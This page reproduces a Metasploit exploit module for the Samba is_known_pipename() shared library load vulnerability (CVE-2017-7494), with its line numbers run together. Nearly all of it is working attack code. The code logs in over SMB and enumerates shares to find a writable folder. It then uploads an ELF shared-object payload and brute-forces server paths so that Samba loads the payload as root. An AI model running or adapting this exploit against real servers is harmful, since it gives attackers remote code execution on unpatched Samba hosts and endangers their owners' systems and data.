Detailed example of Samba remote code execution vulnerability

1 ## 2 # This module requires Metasploit: 3 # Current source: 4 ## 5 6 class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load', 7 'Description' => %q{ 8 This module triggers an arbitrary shared library load vulnerability 9 in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module 10 requires valid credentials, a writeable folder in an accessible share, 11 and knowledge of the server-side path of the writeable folder. In 12 some cases, anonymous access combined with common filesystem locations 13 can be used to automatically exploit this vulnerability. 14 }, 15 'Author' => 16 [ 17 'steelo ', # Vulnerability Discovery 18 'hdm', # Metasploit Module 19 ], 20 'License' => MSF_LICENSE, 21 'References' => 22 [ 23 [ 'CVE', '2017-7494' ], 24 [ 'URL', '' ], 25 ], 26 'Payload' => 27 { 28 'Space' => 9000, 29 'DisableNops' => true 30 }, 31 'Platform' => 'linux', 32 # 33 # Targets are currently limited by platforms with ELF-SO payload wrappers 34 # 35 'Targets' => 36 [ 37 [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], 38 [ 'Linux x86', { 'Arch' => ARCH_X86 } ], 39 [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], 40 # [ 'Linux MIPS', { 'Arch' => MIPS } ], 41 ], 42 'Privileged' => true, 43 'DisclosureDate' => 'Mar 24 2017', 44 'DefaultTarget' => 2)) 45 46 register_options( 47 [ 48 OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), 49 OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), 50 OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), 51 ]) 52 end 53 54 55 def generate_common_locations 56 candidates = [] 57 if datastore['SMB_SHARE_BASE'].to_s.length > 0 58 candidates << datastore['SMB_SHARE_BASE'] 59 end 60 61 %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name| 62 candidates << base_name 63 candidates << [base_name, @share] 64 candidates << [base_name, @share.downcase] 65 candidates << [base_name, @share.upcase] 66 candidates << [base_name, @share.capitalize] 67 candidates << [base_name, @share.gsub(" ", "_")] 68 end 69 70 candidates.uniq 71 end 72 73 def enumerate_directories(share) 74 begin 75 self.simple.connect("\\\\#{rhost}\\#{share}") 76 stuff = self.simple.client.find_first("\\*") 77 directories = [""] 78 stuff.each_pair do |entry,entry_attr| 79 next if %W{. ..}.include?(entry) 80 next unless entry_attr['type'] == 'D' 81 directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e 82 vprint_error("Enum #{share}: #{e}") 83 return nil 84 85 ensure 86 if self.simple.shares["\\\\#{rhost}\\#{share}"] 87 self.simple.disconnect("\\\\#{rhost}\\#{share}") 88 end 89 end 90 end 91 92 def verify_writeable_directory(share, directory="") 93 begin 94 self.simple.connect("\\\\#{rhost}\\#{share}") 95 96 random_filename = Rex::Text.rand_text_alpha(5)+".txt" 97 filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" 98 99 wfd = simple.open(filename, 'rwct')100 wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e101 vprint_error("Write #{share}#{filename}: #{e}")102 return false103 104 ensure105 if self.simple.shares["\\\\#{rhost}\\#{share}"]106 self.simple.disconnect("\\\\#{rhost}\\#{share}")107 end108 end109 end110 111 def share_type(val)112 [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]113 end114 115 def enumerate_shares_lanman116 shares = []117 begin118 res = self.simple.client.trans(119 "\\PIPE\\LANMAN",120 (121 [0x00].pack('v') +122 "WrLeh\x00" +123 "B13BWz\x00" +124 [0x01, 65406].pack("vv")125 ))126 rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e127 vprint_error("Could not enumerate shares via LANMAN")128 return []129 end130 if res.nil?131 vprint_error("Could not enumerate shares via LANMAN")132 return []133 end134 135 lerror, lconv, lentries, lcount = res['Payload'].to_s[136 res['Payload'].v['ParamOffset'],137 res['Payload'].v['ParamCount']138 ].unpack("v4")139 140 data = res['Payload'].to_s[141 res['Payload'].v['DataOffset'],142 res['Payload'].v['DataCount']143 ]144 145 0.upto(lentries - 1) do |i|146 sname,tmp = data[(i * 20) + 0, 14].split("\x00")147 stype = data[(i * 20) + 14, 2].unpack('v')[0]148 scoff = data[(i * 20) + 16, 2].unpack('v')[0]149 scoff -= lconv if lconv != 0150 scomm,tmp = data[scoff, data.length - scoff].split("\x00")151 shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path) begin simple.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e152 vprint_error("Probe: #{path}: #{e}")153 end154 end155 156 def find_writeable_path(share)157 subdirs = enumerate_directories(share)158 return unless subdirs159 160 if datastore['SMB_FOLDER'].to_s.length > 0161 subdirs.unshift(datastore['SMB_FOLDER'])162 end163 164 subdirs.each do |subdir|165 next unless verify_writeable_directory(share, subdir)166 return subdir167 end168 169 nil170 end171 172 def find_writeable_share_path173 @path = nil174 share_info = enumerate_shares_lanman175 if datastore['SMB_SHARE_NAME'].to_s.length > 0176 share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']177 end178 179 share_info.each do |share|180 next if share.first.upcase == 'IPC$'181 found = find_writeable_path(share.first)182 next unless found183 @share = share.first184 @path = found185 break186 end187 end188 189 def find_writeable190 find_writeable_share_path191 unless @share && @path192 print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")193 fail_with(Failure::NoTarget, "No matching target")194 end195 print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")196 end197 198 def upload_payload199 begin200 self.simple.connect("\\\\#{rhost}\\#{@share}")201 202 random_filename = Rex::Text.rand_text_alpha(8)+".so"203 filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"204 wfd = simple.open(filename, 'rwct')205 wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}206 )207 wfd.close208 209 @payload_name = random_filename210 return true211 212 rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e213 print_error("Write #{@share}#{filename}: #{e}")214 return false215 216 ensure217 if self.simple.shares["\\\\#{rhost}\\#{@share}"]218 self.simple.disconnect("\\\\#{rhost}\\#{@share}")219 end220 end221 end222 223 def find_payload224 print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")225 226 # Reconnect to IPC$227 simple.connect("\\\\#{rhost}\\IPC$")228 229 #230 # In a perfect world we would find a way make IPC$'s associated CWD231 # change to our share path, which would allow the following code:232 #233 # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")234 #235 236 # Until we find a better way, brute force based on common paths237 generate_common_locations.each do |location|238 target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')239 print_status("Trying location #{target}...")240 probe_module_path(target)241 end242 end243 244 def exploit245 # Setup SMB246 connect247 smb_login248 249 # Find a writeable share250 find_writeable251 252 # Upload the shared library payload253 upload_payload254 255 # Find and execute the payload from the share256 find_payload rescue Rex::StreamClosedError257 258 # Shutdown259 disconnect260 end261 262 end